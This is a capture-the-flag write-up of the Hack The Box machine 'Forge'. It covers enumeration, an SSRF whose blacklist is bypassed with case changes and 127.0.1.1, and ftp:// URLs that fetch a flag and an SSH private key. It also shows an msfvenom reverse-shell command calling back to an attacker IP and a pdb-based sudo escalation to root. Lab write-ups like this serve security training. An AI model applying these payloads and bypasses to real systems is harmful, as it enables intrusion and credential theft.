Link: https://app.hackthebox.eu/machines/forge

Enumeration

An initial tcp version detection scan reveals we have ports 22 and 80 open for SSH and a web server respectively:

nmap tcp top ports scan

We do have FTP, but the port is firewalled.

Web Server

Attempting to access the IP of the box in the web browser immeditately tries to redirect to http://forge.htb, so I made this change in /etc/hosts to allow access.

Now we can see a gallery of photos and we have the ability to upload our own it appears:

It appears to allow us to access any file, but attempting to access a reverse shell just shows an image display error. It must be doing something behind the scenes to modify the input file or file extension. The URL is randomly generated as well. It appears to be base64, but attempting to base64 decode returns garbled text.

Example link: http://forge.htb/uploads/Zl5ffOsLkQVBLABldUCV

I set up a netcat listener on port 80 and tried the Upload from URL option. We get a header that reveals we are dealing with a python web server:

netcat listener

I tested creating a payload with msfvenom and a nc listener like so:

$ msfvenom -p python/shell_reverse_tcp LHOST=10.10.14.76 LPORT=4444 -f python > shell.py

$ python3 -m "http.server"

# in a new terminal window
$ nc -lnvp 4444

However, still no luck here and it still tries to display the file as an image. I also attempted a gobuster vhost scan to scan for subdomains, however every one appears with a 302 response code. Python must be doing a catch all and redirecting to the main http://forge.htb. I wondered if this was a django app, so it may have an admin panel. There was no /admin, so I added admin.forge.htb to my hosts file and we do get a hit that says Only localhost is allowed!

I’m wondering if we use the URL of the admin page on the upload page, if it will grab a copy of the admin page from itself (localhost) and let us see things.

Attempting to insert http://admin.forge.htb/ into the upload from URL returns a “URL contains a blacklisted address”. I wonder if they check for case sensitivity, and they do not! Entering http://admin.FORGE.htb/ uploads.

Now if we right click and download the file to our machine, we can cat the file out and we see the source code!

Source of admin

It appears to mirror our current page, however there is an announcements page that is new. Let’s use the url http://admin.FORGE.htb/announcements and see what is there.

Announcements

Gaining Access

We get credentials for an internal ftp server, and it mentions the /upload endpoint supports more than just http/https protocols. We also can script it by passing ?u=<url-here> to the /upload endpoint. I tested this with our endpoint, but it seems that it only applies to the admin endpoint. I wonder if we can upload our python shell via url through the regular upload by doing something like:

http://admin.FORGE.htb/upload?u=http://10.10.14.76:8000/shell.py


Unfortunately it does not seem to work. However, since we have the ftp credentials and can make an FTP call, we can try and see if we can find the user.txt flag in the root of this FTP user. We would need to make the URL:

http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/user.txt

NOTE: I had to use 127.0.1.1 because 127.0.0.1 was blacklisted. Next we right click and save the URL and cat it out again and we get our user.txt flag!

Another possibly useful file would be ssh keys which would be in /.ssh/id_rsa

http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa

Sure enough this worked also! I downloaded the file then ran the following:

$ cat Tse3KQzEp6xRiVYYgliX 
$ chmod 600 Tse3KQzEp6xRiVYYgliX 
$ ssh [email protected] -i ./Tse3KQzEp6xRiVYYgliX 
user@forge:~$

Privilege Escalation

Once on the machine, running sudo -l shows we can run /opt/remote-manage.py with sudo perms, no password required. We cannot edit this file, but the source is as follows:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

It appears to open a random port and wait for secretadminpassword to be sent then allows us to choose an option. It only seems to check for 1-4 then will throw an exception with pdb, so it makes me wonder what happens if we type something else.

$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:64201

# open a new ssh window for user and login
$ nc localhost 64201
Enter the secret passsword: secretadminpassword
Welcome admin!
 What do you wanna do: 
 [1] View processes
 [2] View free memory
 [3] View listening sockets
 [4] Quit
 bash
 invalid literal for int() with base 10: b'bash'
   /opt/remote-manage.py(27)()
   -> option = int(clientsock.recv(1024).strip()) 

# back in the original window, a (Pdb) debugger is listening

After some research, it turns out we can import modules and run python from this debugger.

(Pdb) import os
(Pdb) os.system('bin/bash')
root@forge:/home/user#

Now we just grab the flag and we are done!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.